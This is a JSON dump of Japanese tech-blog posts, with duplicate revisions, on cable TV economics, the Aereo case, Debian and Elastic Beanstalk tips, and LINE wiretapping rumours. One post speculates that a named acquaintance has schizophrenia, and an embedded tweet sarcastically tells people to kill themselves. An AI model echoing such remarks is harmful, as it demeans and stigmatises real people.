(みたいなの)によって破壊される大手テレビ局の利益とは何か。それはケーブルテレビ局からの上納金です。電波放送は受信するだけならタダで、電波で視聴している顧客から受信料を得ることは出来ません。しかしながらアメリカの大手電波テレビ局はケーブルテレビ局からの再配信料を得るという形で、直接視聴者から受信料を徴収することに成功していたわけです。\r\n\r\nようするに、アメリカの電波放送テレビ局は、電波を使って受信してほしくないのです。\r\n\r\n現状アメリカのケーブルテレビ局は衰退傾向にあり、「Netflix で見られない大手電波放送局が再配信されているから」というような理由で契約をし続けている層はかなり存在すると見積られます。これが電波放送のインターネット経由での再配信が合法であるという話になれば、多くのユーザーがケーブルテレビを解約し、もっと安価なインターネット回線事業者と電波放送再配信サービスと Netflix を契約することでしょう。その方が安いからです。\r\n\r\nそうなってしまうと電波放送テレビ局は受信料収入を失なってしまうことになります。だからこそこの裁判で負けた場合「(直接受信料を徴収できる)ネット経由の番組配信に移行」せざるを得ないのです。\r\n\r\n## 欧米のテレビ局がショボいにも関わらずアタりの番組がそこそこあるのは何故か?\r\nという問題については僕も結構考えていますが、オーディションで徹底的に番組が絞られることとシーズン制により無理無く制作出来ていることが大きいのではないかと思っています。\r\n\r\nアメリカのテレビドラマにおいて「まずは 1 話だけ作ってみて出来がいいか確かめていいやつだけ放送する」というスタイルがとられていることはよく知られています。これは実際合理的なやり方でクオリティの維持に寄与しています。\r\n\r\nではバラエティ番組はどうかというと、向こうのバラエティ番組でよく見られるのが 10 話から 20 話ぐらいのシーズンにぶったぎられたのが不定期に放送されるというスタイルです。\r\n\r\nイメージとしては相棒みたいな放送形態でバラエティも流れるというような。この場合時間に余裕をもって番組制作をすることが出来るので、クオリティが維持できます。\r\n\r\n要するに、 1 年間に 40 本の面白い 1 時間バラエティを作るというのに無理があるのです。アメリカの通年放送のバラエティみたいのは糞みたいのが多いですし、日本で人気のあるリアリティバラエティの鉄腕ダッシュなどは放送休止が結構多い上に 0 円でメシ作るみたいな大して面白くもないけど金も時間もかからないみたいな企画も挟むことで本丸の農業のクオリティを上手く維持したりしていますし、テレビ東京の路線バスの旅などに至っては 1 年間に 3 本とか 4 本とかしか放送していません。\r\n\r\n最近立てた仮説なのですが、もし本当に日本のテレビ番組がつまらなくなったのだとしたら、野球中継が無くなったせいで沢山番組作らないといけなくなったせいじゃないのかなーとか思ったりしてます。\r\n\r\nこの話にとくにオチはないです。","created_at":"2014-06-02T12:55:30.000Z","updated_at":"2014-06-02T12:55:30.000Z"},{"id":2678,"name":"text/欧米のテレビは他チャンネル","body":"%blog% 欧米のテレビは他チャンネルという話の実態、そして AppleTV や Chromecast とかの話\r\n\r\nおはようございます、 [Chromecast 微妙](http://ssig33.com/text/Chromecast%20%E8%B2%B7%E3%81%A3%E3%81%9F)ですね。「Chromecast 買って AppleTV の良さ分かった」とか言ってる人が結構多くて AppleTV にしてもみんな割と買ったけど使ってなかったみたいのじゃないかと想像しています。\r\n\r\n今日はよく言われる「欧米のテレビは多チャンネル」という話の実態について書きます。\r\n\r\n## 要旨\r\n- 欧米それぞれ具体的な事情は違うが電波が使い物にならないのでケーブルテレビが流行った\r\n- 多チャンネルって言ってもそんな面白いの無い\r\n- 視聴者は別に多チャンネルそこまで求めてないので動画配信サービスなどに客が流れる\r\n\r\n## ケーブルテレビの普及\r\n欧米のテレビが何故多チャンネル化したかというと、ケーブルテレビの放送事業者同士の競争が極めて激しいからです。これは単純な話で、うちのケーブルテレビを契約したら他所より見られるチャンネルが多いよ〜みたいな感じで競争を繰り広げた結果です(過去そうだったという話で現在アメリカでは地域内においてケーブル事業者間の競争があるケースは稀です)。\r\n\r\n### その理由は?\r\nその理由はアメリカとヨーロッパでそれぞれに違います。\r\n\r\nアメリカの場合は国土が広すぎて電波放送では効率が悪すぎることが主因です。同様の理由で衛星放送や衛星インターネットサービスなどもそれなりの存在感を維持しています。これはまあ日本でも比較的良く事情が知られているところです。\r\n\r\nヨーロッパの事情に関してはあまり日本では有名では無いのではないでしょうか。ヨーロッパでケーブルテレビが一般的となった理由もアメリカと同様に、電波放送が使い物にならないからです。ですがヨーロッパの場合はアメリカとは事情が違い、ヨーロッパという比較的狭い地域に国が密集しすぎていることが原因です。\r\n\r\nヨーロッパにおいては、各国毎に電波放送テレビ局は原則 3 局までしか設置できないという取り決めがあります。これはあんまり好き勝手どっかの国が電波を使いまくると近隣諸国にも迷惑がかかるとかそんなんが理由っぽいです(あんまり調べてない)。\r\n\r\nこれでは 3 個までしか放送局が作れないというわけでいかにも少ないです。パラグアイでももっと放送局があります。\r\n\r\nこうした問題を解決する為に、例えばオランダでは、公共放送を 3 個流して、番組に関しては複数の番組制作事業者に制作させることで多様性を保とうとしたりしています(この仕組みは上手く行っているとは言い難く近年縮小傾向にあります)。\r\n\r\nですが何をどう頑張ったとしても 3 個のテレビ局で人々が満足できるわけもなくケーブルテレビに人が流れていったという次第なわけです。\r\n\r\n## 多チャンネルの実態\r\nこれまでで多チャンネル化の原因はケーブルテレビにあること、欧米それぞれの事情でケーブルテレビが普及したことを記しました。ではその多チャンネル放送の実態について述べましょう。\r\n\r\nまず客観的なことですが、ヨーロッパにおいて何十とか何百とか放送が見られるケーブルテレビ局と契約したとして、その内自国語の放送は数分の一とか、悪くすると数十分の一だったりします。結構雑にヨーロッパ中の番組が流れてくるということです。これはヨーロッパでは RTL だったり FOX だったりの巨大メディア企業が大きな存在感を発揮していることとは当然無縁ではありません。\r\n\r\nこのような複雑な構造である為か、「オランダとその周辺の数カ国のみで放送されているテレビ局でイギリスで制作された英語放送の料理バラエティー番組が流れている」といった真面目にやってんのかそれというような事態も発生したりします。\r\n\r\nアメリカにおいては上記のようなことはなく、多くのテレビ局が英語放送を行なっています(当然メキシコ人向けのスペイン語放送局だとかもありますが)。\r\n\r\nまた多チャンネルの当然の帰結として、再放送がかなり多くなります(一つのチャンネルあたりでは見てる人大していないからそんなに番組を作る金がない)。このあたりの事情は日本の CS 放送局とだいたい同じで、一日のうち新番組は 1〜2 時間しか無いようなテレビ局とかもザラです。\r\n\r\nまた上記のような過剰サービスの結果、欧米のケーブルテレビ局の月額使用料はかなり高額になってしまっています。\r\n\r\n## そしてどうなっているのか\r\nイタリア人がドイツ語で放送されるテレビ局を見られるだとか、ニューヨークに住んでいる人間が深南部のキリスト教原理主義者向けに延々とカントリーミュージックとバイクの改造に関する番組を流しているテレビ局を見られるだとかしても、それは全く嬉しくないわけで、徐々に徐々にケーブルテレビ離れは進んでいます。\r\n\r\nその受け皿となっているのがインターネットであることは驚くに価しないことでしょう。 Netflix や Hulu をはじめとする有料動画配信サービスが欧米において広く受け入れられたのは「ケーブルテレビよりは安い」からに他なりません。この手のサービスの最も安価なプランだけ契約して、プランに含まれない興味のある動画があった場合個別に購入して視聴するというのは、何もかもごったまぜのケーブルテレビと契約するよりも合理的です。\r\n\r\nまたそうした配信サービスのユーザー体験を向上させるデバイスとして Chromecast や AppleTV のような STB であったり GoogleTV のようなスマートテレビ(Google TV はアメリカではスマートテレビの OS としてかなり普及してます)が欧米では大きな存在感を発揮するのです。\r\n\r\n全く余談ではありますがケーブルテレビの視聴を快適にしようという方向の市場も当然に存在しており、 Xbox One などはそちらに\"も\"乗るような形になっています。\r\n\r\n逆に言えば無料放送が地上波と衛星放送あわせて(最も多い首都圏で) 13 局もあり有料公共放送も 4 局あり、一日中それらがそれなりに高品質な番組を配信しているような日本において、インターネット上での有料動画配信サービスがいまいち存在感を発揮できないこと、そしてその端末としての AppleTV のような STB であるとかスマートテレビであるとかがあまり存在感を発揮出来ないのは当然のことなのです。\r\n\r\n## エアリオは何故裁判になるのか\r\n[最近も話題になっていますが](http://www3.nhk.or.jp/news/business_tokushu/2014_0513.html)、アメリカにおいてもまねき TV 訴訟のようなやつが起きています。俎上に上がる問題が適法違法以前のこととして、人が訴訟を起こすのは自らの利益が毀損されている場合であるというのは当然のことです。日本においてテレビ局がまねき TV を提訴したのは、キー局と地域局というビジネスモデルを根底から破壊しかねないサービスだったからと言えるでしょう。\r\n\r\nではアメリカにおいてまねき TV (みたいなの)によって破壊される大手テレビ局の利益とは何か。それはケーブルテレビ局からの上納金です。電波放送は受信するだけならタダで、電波で視聴している顧客から受信料を得ることは出来ません。しかしながらアメリカの大手電波テレビ局はケーブルテレビ局からの再配信料を得るという形で、直接視聴者から受信料を徴収することに成功していたわけです。\r\n\r\nようするに、アメリカの電波放送テレビ局は、電波を使って受信してほしくないのです。\r\n\r\n現状アメリカのケーブルテレビ局は衰退傾向にあり、「Netflix で見られない大手電波放送局が再配信されているから」というような理由で契約をし続けている層はかなり存在すると見積られます。これが電波放送のインターネット経由での再配信が合法であるという話になれば、多くのユーザーがケーブルテレビを解約し、もっと安価なインターネット回線事業者と電波放送再配信サービスと Netflix を契約することでしょう。その方が安いからです。\r\n\r\nそうなってしまうと電波放送テレビ局は受信料収入を失なってしまうことになります。だからこそこの裁判で負けた場合「(直接受信料を徴収できる)ネット経由の番組配信に移行」せざるを得ないのです。\r\n\r\n## 欧米のテレビ局が上記のような事情で結構ショボいにも関わらずアタりの番組がそこそこあるのは何故か?\r\nという問題については僕も結構考えていますが、オーディションで徹底的に番組が絞られることとシーズン制により無理無く制作出来ていることが大きいのではないかと思っています。\r\n\r\nアメリカのテレビドラマにおいて「まずは 1 話だけ作ってみて出来がいいか確かめていいやつだけ放送する」というスタイルがとられていることはよく知られています。これは実際合理的なやり方でクオリティの維持に寄与しています。\r\n\r\nではバラエティ番組はどうかというと、向こうのバラエティ番組でよく見られるのが 10 話から 20 話ぐらいのシーズンにぶったぎられたのが不定期に放送されるというスタイルです。\r\n\r\nイメージとしては相棒みたいな放送形態でバラエティも流れるというような。この場合時間に余裕をもって番組制作をすることが出来るので、クオリティが維持できます。\r\n\r\n要するに、 1 年間に 40 本の面白い 1 時間バラエティを作るというのに無理があるのです。アメリカの通年放送のバラエティみたいのは糞みたいのが多いですし、日本で人気のあるリアリティバラエティの鉄腕ダッシュなどは放送休止が結構多い上に 0 円でメシ作るみたいな大して面白くもないけど金も時間もかからないみたいな企画も挟むことで本丸の農業のクオリティを上手く維持したりしていますし、テレビ東京の路線バスの旅などに至っては 1 年間に 3 本とか 4 本とかしか放送していません。\r\n\r\n最近立てた仮説なのですが、もし本当に日本のテレビ番組がつまらなくなったのだとしたら、野球中継が無くなったせいで沢山番組作らないといけなくなったせいじゃないのかなーとか思ったりしてます。\r\n\r\nこの話にとくにオチはないです。","created_at":"2014-06-02T12:56:16.000Z","updated_at":"2014-06-02T12:56:16.000Z"},{"id":2679,"name":"text/欧米のテレビは他チャンネル","body":"%blog% 欧米のテレビは多チャンネルという話の実態、そして AppleTV や Chromecast とかの話\r\n\r\nおはようございます、 [Chromecast 微妙](http://ssig33.com/text/Chromecast%20%E8%B2%B7%E3%81%A3%E3%81%9F)ですね。「Chromecast 買って AppleTV の良さ分かった」とか言ってる人が結構多くて AppleTV にしてもみんな割と買ったけど使ってなかったみたいのじゃないかと想像しています。\r\n\r\n今日はよく言われる「欧米のテレビは多チャンネル」という話の実態について書きます。\r\n\r\n## 要旨\r\n- 欧米それぞれ具体的な事情は違うが電波が使い物にならないのでケーブルテレビが流行った\r\n- 多チャンネルって言ってもそんな面白いの無い\r\n- 視聴者は別に多チャンネルそこまで求めてないので動画配信サービスなどに客が流れる\r\n\r\n## ケーブルテレビの普及\r\n欧米のテレビが何故多チャンネル化したかというと、ケーブルテレビの放送事業者同士の競争が極めて激しいからです。これは単純な話で、うちのケーブルテレビを契約したら他所より見られるチャンネルが多いよ〜みたいな感じで競争を繰り広げた結果です(過去そうだったという話で現在アメリカでは地域内においてケーブル事業者間の競争があるケースは稀です)。\r\n\r\n### その理由は?\r\nその理由はアメリカとヨーロッパでそれぞれに違います。\r\n\r\nアメリカの場合は国土が広すぎて電波放送では効率が悪すぎることが主因です。同様の理由で衛星放送や衛星インターネットサービスなどもそれなりの存在感を維持しています。これはまあ日本でも比較的良く事情が知られているところです。\r\n\r\nヨーロッパの事情に関してはあまり日本では有名では無いのではないでしょうか。ヨーロッパでケーブルテレビが一般的となった理由もアメリカと同様に、電波放送が使い物にならないからです。ですがヨーロッパの場合はアメリカとは事情が違い、ヨーロッパという比較的狭い地域に国が密集しすぎていることが原因です。\r\n\r\nヨーロッパにおいては、各国毎に電波放送テレビ局は原則 3 局までしか設置できないという取り決めがあります。これはあんまり好き勝手どっかの国が電波を使いまくると近隣諸国にも迷惑がかかるとかそんなんが理由っぽいです(あんまり調べてない)。\r\n\r\nこれでは 3 個までしか放送局が作れないというわけでいかにも少ないです。パラグアイでももっと放送局があります。\r\n\r\nこうした問題を解決する為に、例えばオランダでは、公共放送を 3 個流して、番組に関しては複数の番組制作事業者に制作させることで多様性を保とうとしたりしています(この仕組みは上手く行っているとは言い難く近年縮小傾向にあります)。\r\n\r\nですが何をどう頑張ったとしても 3 個のテレビ局で人々が満足できるわけもなくケーブルテレビに人が流れていったという次第なわけです。\r\n\r\n## 多チャンネルの実態\r\nこれまでで多チャンネル化の原因はケーブルテレビにあること、欧米それぞれの事情でケーブルテレビが普及したことを記しました。ではその多チャンネル放送の実態について述べましょう。\r\n\r\nまず客観的なことですが、ヨーロッパにおいて何十とか何百とか放送が見られるケーブルテレビ局と契約したとして、その内自国語の放送は数分の一とか、悪くすると数十分の一だったりします。結構雑にヨーロッパ中の番組が流れてくるということです。これはヨーロッパでは RTL だったり FOX だったりの巨大メディア企業が大きな存在感を発揮していることとは当然無縁ではありません。\r\n\r\nこのような複雑な構造である為か、「オランダとその周辺の数カ国のみで放送されているテレビ局でイギリスで制作された英語放送の料理バラエティー番組が流れている」といった真面目にやってんのかそれというような事態も発生したりします。\r\n\r\nアメリカにおいては上記のようなことはなく、多くのテレビ局が英語放送を行なっています(当然メキシコ人向けのスペイン語放送局だとかもありますが)。\r\n\r\nまた多チャンネルの当然の帰結として、再放送がかなり多くなります(一つのチャンネルあたりでは見てる人大していないからそんなに番組を作る金がない)。このあたりの事情は日本の CS 放送局とだいたい同じで、一日のうち新番組は 1〜2 時間しか無いようなテレビ局とかもザラです。\r\n\r\nまた上記のような過剰サービスの結果、欧米のケーブルテレビ局の月額使用料はかなり高額になってしまっています。\r\n\r\n## そしてどうなっているのか\r\nイタリア人がドイツ語で放送されるテレビ局を見られるだとか、ニューヨークに住んでいる人間が深南部のキリスト教原理主義者向けに延々とカントリーミュージックとバイクの改造に関する番組を流しているテレビ局を見られるだとかしても、それは全く嬉しくないわけで、徐々に徐々にケーブルテレビ離れは進んでいます。\r\n\r\nその受け皿となっているのがインターネットであることは驚くに価しないことでしょう。 Netflix や Hulu をはじめとする有料動画配信サービスが欧米において広く受け入れられたのは「ケーブルテレビよりは安い」からに他なりません。この手のサービスの最も安価なプランだけ契約して、プランに含まれない興味のある動画があった場合個別に購入して視聴するというのは、何もかもごったまぜのケーブルテレビと契約するよりも合理的です。\r\n\r\nまたそうした配信サービスのユーザー体験を向上させるデバイスとして Chromecast や AppleTV のような STB であったり GoogleTV のようなスマートテレビ(Google TV はアメリカではスマートテレビの OS としてかなり普及してます)が欧米では大きな存在感を発揮するのです。\r\n\r\n全く余談ではありますがケーブルテレビの視聴を快適にしようという方向の市場も当然に存在しており、 Xbox One などはそちらに\"も\"乗るような形になっています。\r\n\r\n逆に言えば無料放送が地上波と衛星放送あわせて(最も多い首都圏で) 13 局もあり有料公共放送も 4 局あり、一日中それらがそれなりに高品質な番組を配信しているような日本において、インターネット上での有料動画配信サービスがいまいち存在感を発揮できないこと、そしてその端末としての AppleTV のような STB であるとかスマートテレビであるとかがあまり存在感を発揮出来ないのは当然のことなのです。\r\n\r\n## エアリオは何故裁判になるのか\r\n[最近も話題になっていますが](http://www3.nhk.or.jp/news/business_tokushu/2014_0513.html)、アメリカにおいてもまねき TV 訴訟のようなやつが起きています。俎上に上がる問題が適法違法以前のこととして、人が訴訟を起こすのは自らの利益が毀損されている場合であるというのは当然のことです。日本においてテレビ局がまねき TV を提訴したのは、キー局と地域局というビジネスモデルを根底から破壊しかねないサービスだったからと言えるでしょう。\r\n\r\nではアメリカにおいてまねき TV (みたいなの)によって破壊される大手テレビ局の利益とは何か。それはケーブルテレビ局からの上納金です。電波放送は受信するだけならタダで、電波で視聴している顧客から受信料を得ることは出来ません。しかしながらアメリカの大手電波テレビ局はケーブルテレビ局からの再配信料を得るという形で、直接視聴者から受信料を徴収することに成功していたわけです。\r\n\r\nようするに、アメリカの電波放送テレビ局は、電波を使って受信してほしくないのです。\r\n\r\n現状アメリカのケーブルテレビ局は衰退傾向にあり、「Netflix で見られない大手電波放送局が再配信されているから」というような理由で契約をし続けている層はかなり存在すると見積られます。これが電波放送のインターネット経由での再配信が合法であるという話になれば、多くのユーザーがケーブルテレビを解約し、もっと安価なインターネット回線事業者と電波放送再配信サービスと Netflix を契約することでしょう。その方が安いからです。\r\n\r\nそうなってしまうと電波放送テレビ局は受信料収入を失なってしまうことになります。だからこそこの裁判で負けた場合「(直接受信料を徴収できる)ネット経由の番組配信に移行」せざるを得ないのです。\r\n\r\n## 欧米のテレビ局が上記のような事情で結構ショボいにも関わらずアタりの番組がそこそこあるのは何故か?\r\nという問題については僕も結構考えていますが、オーディションで徹底的に番組が絞られることとシーズン制により無理無く制作出来ていることが大きいのではないかと思っています。\r\n\r\nアメリカのテレビドラマにおいて「まずは 1 話だけ作ってみて出来がいいか確かめていいやつだけ放送する」というスタイルがとられていることはよく知られています。これは実際合理的なやり方でクオリティの維持に寄与しています。\r\n\r\nではバラエティ番組はどうかというと、向こうのバラエティ番組でよく見られるのが 10 話から 20 話ぐらいのシーズンにぶったぎられたのが不定期に放送されるというスタイルです。\r\n\r\nイメージとしては相棒みたいな放送形態でバラエティも流れるというような。この場合時間に余裕をもって番組制作をすることが出来るので、クオリティが維持できます。\r\n\r\n要するに、 1 年間に 40 本の面白い 1 時間バラエティを作るというのに無理があるのです。アメリカの通年放送のバラエティみたいのは糞みたいのが多いですし、日本で人気のあるリアリティバラエティの鉄腕ダッシュなどは放送休止が結構多い上に 0 円でメシ作るみたいな大して面白くもないけど金も時間もかからないみたいな企画も挟むことで本丸の農業のクオリティを上手く維持したりしていますし、テレビ東京の路線バスの旅などに至っては 1 年間に 3 本とか 4 本とかしか放送していません。\r\n\r\n最近立てた仮説なのですが、もし本当に日本のテレビ番組がつまらなくなったのだとしたら、野球中継が無くなったせいで沢山番組作らないといけなくなったせいじゃないのかなーとか思ったりしてます。\r\n\r\nこの話にとくにオチはないです。","created_at":"2014-06-02T13:01:11.000Z","updated_at":"2014-06-02T13:01:11.000Z"},{"id":2680,"name":"text/Debian インストール時の注意","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eこれは今日知ったことなんですが、 Debian のインストーラーって /dev/sdaa とか、デバイス名が 4 文字になってるディスクにブートローダーを正しくインストールすることが出来ません。 Debian インストールする時は搭載ディスクを 27 台未満にしましょう。\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/473776035696095232\"\u003eJune 3, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこんなんで 2 時間ぐらい無駄にしたので皆さんもご注意ください。","created_at":"2014-06-03T10:40:32.000Z","updated_at":"2014-06-03T10:40:32.000Z"},{"id":2681,"name":"text/同じ本や CD を沢山買う人について","body":"%blog%\r\n\r\n大抵の場合はちょっとおかしくなってるだけです。\r\n\r\n- 抑鬱状態との組み合せ\r\n- あの声優は僕のことを好きだみたいな思い込み(恋愛妄想)\r\n- 他のオタクへの極度の嫉妬\r\n- 軽度の幻覚\r\n- 倫理観の欠如\r\n - 同じものを大量購入する時点で金銭倫理は欠如してる気はしますが、例えば声優ストーキングするとかそういうの\r\n\r\nなどが併発している場合統合失調症の可能性が結構あります。 10 代後半〜 20 代前半というのは統合失調症が発病しやすい時期として知られています。知り合いのオタクが就職して金が増えたから無茶してんじゃないのとかいってスルーしてたら統合失調症だったという事例を私はこれまで人生において 3 件目にしてきました。\r\n\r\n何が言いたいかというと[へちょ](http://hetyo525.hateblo.jp/entry/2014/06/03/231933)はまんとりゃーが近くにいるせいでいろいろ基準が狂ってしまっていますし療養したほうがいいだろうということです。","created_at":"2014-06-04T02:58:48.000Z","updated_at":"2014-06-04T02:58:48.000Z"},{"id":2682,"name":"text/ねぎ姉さん飲み会みたいなのの思い出","body":"%blog%\r\n\r\n以前から面識のあった小林銅蟲が糸柳なども来る飲み会があるなどと言うので、銅蟲のことをあんまり知らない shunirr なども連れて横浜までいってきた。松浦だるまなどもいてマンガの話をする。絵の話をする。肉が焼かれる。肉が食べられる。犯罪者も出席しており、罰金の督促状みたいなものが回覧される。肉が焼かれ、肉が食べられる。そういう会でした。\r\n\r\n何を主に言いたいかというと\r\n\r\n- [ゆいゆい検索](http://yui-search.com/)\r\n- http://shunirr.hatenablog.jp/entry/2014/04/10/143119\r\n\r\nこのような感じのことをしている異常者と松浦だるまに面識があるということです。だるま先生塩の件よろしくお願いします。\r\n\r\n![糞画像](http://www.nationalgeographic.co.jp/common/i.php?file=/photography/photo-of-the-day/images/fishermen-nets-thailand.jpg\u0026width=484)","created_at":"2014-06-04T05:40:15.000Z","updated_at":"2014-06-04T05:40:15.000Z"},{"id":2683,"name":"text/AWS Elastic Beanstalk メモ","body":"%blog%\r\n\r\n最近ちょこちょこ触ってみて得られた知識。\r\n\r\n- Beanstalk 専用に AWS アカウントを作ったほうがよい\r\n - 試行錯誤と共に膨大な量の Security Group が作られていって意味不明な事態になる\r\n- Beanstalk に Environment を作る時に一緒に RDS を作らないほうがよい\r\n - スワップしてデプロイするやつが使えなくなる。\r\n - 正確には使えないわけではなくて、 RDS の設定をアプリケーションに直接記述すればよい。\r\n - RDS と紐づいていない Env からは環境変数が見えない。なので環境変数から設定読み込むやつが使えなくなる。なので一緒に RDS 作るのは意味がないし管理が複雑になる。\r\n- スワップしてデプロイするやつは初期に設定しておきましょう。\r\n - そうじゃないと上記のようなめんどくさいことが起きます。\r\n - Beanstalk はデプロイスクリプトの実行に 10 分かかるとデプロイを勝手に停止する\r\n - なのでアプリが人気になった!負荷がやばい!対策版をデプロイしよう -\u003e 負荷が高いのでデプロイに時間がかかり一生デプロイできない となる。\r\n- デプロイ中何が起きてるか外の世界からは殆ど見えない、死ね糞が。\r\n\r\n### まとめ\r\n宗教上の事情が無い限り Heroku 使ったほうがいい。","created_at":"2014-06-12T14:45:10.000Z","updated_at":"2014-06-12T14:45:10.000Z"},{"id":2684,"name":"text/AWS Elastic Beanstalk メモ","body":"%blog%\r\n\r\n最近ちょこちょこ触ってみて得られた知識。\r\n\r\n- Beanstalk 専用に AWS アカウントを作ったほうがよい\r\n - 試行錯誤と共に膨大な量の Security Group が作られていって意味不明な事態になる\r\n- Beanstalk に Environment を作る時に一緒に RDS を作らないほうがよい\r\n - スワップしてデプロイするやつが使えなくなる。\r\n - 正確には使えないわけではなくて、 RDS の設定をアプリケーションに直接記述すればよい。\r\n - RDS と紐づいていない Env からは環境変数が見えない。なので環境変数から設定読み込むやつが使えなくなる。なので一緒に RDS 作るのは意味がないし管理が複雑になる。\r\n- スワップしてデプロイするやつは初期に設定しておきましょう。\r\n - そうじゃないと上記のようなめんどくさいことが起きます。\r\n - Beanstalk はデプロイスクリプトの実行に 10 分かかるとデプロイを勝手に停止する\r\n - なのでアプリが人気になった!負荷がやばい!対策版をデプロイしよう -\u003e 負荷が高いのでデプロイに時間がかかり一生デプロイできない となる。\r\n- どういう理屈なのか知らんがデプロイには恐しく時間がかかる。何をしても 100 年待たされる。\r\n- デプロイ中何が起きてるか外の世界からは殆ど見えない、死ね糞が。\r\n\r\n### まとめ\r\n宗教上の事情が無い限り Heroku 使ったほうがいい。","created_at":"2014-06-12T15:57:27.000Z","updated_at":"2014-06-12T15:57:27.000Z"},{"id":2685,"name":"text/Elastic Beanstalk で安全なデプロイ","body":"%blog%\r\n\r\n以下は Ruby On Rails を使っている場合の話です。 Ruby On Rails なので\r\n\r\n- デプロイ時に assets のコンパイルという CPU 負荷が発生する\r\n\r\nという固有事情があります。以下の手段は主にこの固有事情を解決する為の問題なので、そうではないという人達にはあまり関係無い話です(が Immutable Infrastructure の実現とかそういう方面で RoR の人達以外にも意味のある記事だと思う)。\r\n\r\nBeanstalk ではデプロイ時のコマンド 10 分制限というものがある為、 CPU 負荷の高い状態では assets precompile が 10 分以上かかってデプロイが一生できないみたいな事態になったりします。\r\n\r\nそのような事態を避ける為には、 Env を 2 個用意してキリキリ切り替えるだとか、毎回新しい Env を用意するだとかすると解決できます。そのような話は[一個前の記事](http://ssig33.com/text/AWS%20Elastic%20Beanstalk%20%E3%83%A1%E3%83%A2)にも書いた。\r\n\r\nで。大抵のアプリケーションは Route 53 を使って A レコードに ELB のエイリアスを設定する形で独自ドメインで公開されているのではないかと思います。\r\n\r\nこの場合 Beanstalk の中で URL をスワップしたところで意味はなくて、古い方にアクセスが流れ続けます。なのでデプロイが完了した後 Route 53 の A レコードを新環境の ELB の DNS Name のエイリアスにしましょう。\r\n\r\nこのあたり危険な操作なので自動化するコマンドを書いておくほうがよいのではないかと思います。\r\n\r\nBeanstalk はデプロイする度に DNS をいじるという狂気のデプロイ方法を用いることではじめて安全確実なデプロイが出来るという狂気の環境であることが明らかになりました。\r\n\r\n### まとめ\r\nあなたが Java の人で無い限り Heroku を使いましょう。","created_at":"2014-06-12T18:42:01.000Z","updated_at":"2014-06-12T18:42:01.000Z"},{"id":2686,"name":"text/LINE の件考えられる可能性","body":"%blog%\r\n\r\n前置き: FACTA 読んでないし読む気もないで\r\n\r\n### 考えられる可能性\r\n- 韓国国内のネイバーのデータセンター間の接続が専用線で、専用線なのでということで通信暗号してなかったら、線に物理的に工作されてバカハブしかけられて盗聴された\r\n- ネイバーや LINE に韓国国家情報院の工作員が入社していてデータを流出させるか VPN の秘密鍵を盗むかしていた\r\n\r\n### こうではないだろうというもの\r\n- 暗号を用いた VPN への中間者攻撃が可能になった\r\n - この場合 LINE がどうのなどと言っている場合でない\r\n\r\n### あまり意味のない考え方\r\n- LINE の通信解析した結果ゲートウェイは日本にあるので韓国情報機関による盗聴はあり得ないみたいな主張\r\n - ゲートウェイはそこにあるだけでデータの解析とかそういう業務は韓国のサーバーでやってるかもしれないでしょう。\r\n\r\n### 私はこう考える\r\n- FACTA の記事が完全にガセ\r\n\r\n### ついでに言いたいこと\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eLINE も GMail も信用しませんみたいな人達、日本産の Web サービスの多くが米国企業の Amazon がやってるレンタルサーバー使ってますから、即座に回線切断して自殺したほうがいいですよ\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/479271524658970624\"\u003eJune 18, 2014\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eいやなんかでもさ、この辺あんま笑い事じゃなくて、 Elastic MapReduce 使ってますみたいな会社があったとして、「企業が大量に所持している個人情報が外国企業の Amazon のサーバーに流出している!!」みたいな事態だと捉えるアホ出るかもしれないじゃん。\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/479272036938682369\"\u003eJune 18, 2014\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eアホは AWS とか知らんからそういう騒ぎにはならないので、アホに Amazon が Amazon Web Services というのを提供しててみんな使ってるというのを知られないようにしなければならない\u003c/p\u003e\u0026mdash; 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/479272218455592960\"\u003eJune 18, 2014\u003c/a\u003e\u003c/blockquote\u003e \u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n","created_at":"2014-06-19T11:56:40.000Z","updated_at":"2014-06-19T11:56:40.000Z"},{"id":2687,"name":"text/LINE の件考えられる可能性","body":"%blog%\r\n\r\n前置き: FACTA 読んでないし読む気もないです\r\n\r\n### 考えられる可能性\r\n- 韓国国内のネイバーのデータセンター間の接続が専用線で、専用線なのでということで通信暗号してなかったら、線に物理的に工作されてバカハブしかけられて盗聴された\r\n- ネイバーや LINE に韓国国家情報院の工作員が入社していてデータを流出させるか VPN の秘密鍵を盗むかしていた\r\n\r\n### こうではないだろうというもの\r\n- 暗号を用いた VPN への中間者攻撃が可能になった\r\n - この場合 LINE がどうのなどと言っている場合でない\r\n\r\n### あまり意味のない考え方\r\n- LINE の通信解析した結果ゲートウェイは日本にあるので韓国情報機関による盗聴はあり得ないみたいな主張\r\n - ゲートウェイはそこにあるだけでデータの解析とかそういう業務は韓国のサーバーでやってるかもしれないでしょう。\r\n\r\n### 私はこう考える\r\n- FACTA の記事が完全にガセ\r\n\r\n### ついでに言いたいこと\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eLINE も GMail も信用しませんみたいな人達、日本産の Web サービスの多くが米国企業の Amazon がやってるレンタルサーバー使ってますから、即座に回線切断して自殺したほうがいいですよ\u003c/p\u003e— 松浦だるま団副団長 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/479271524658970624\"\u003eJune 18, 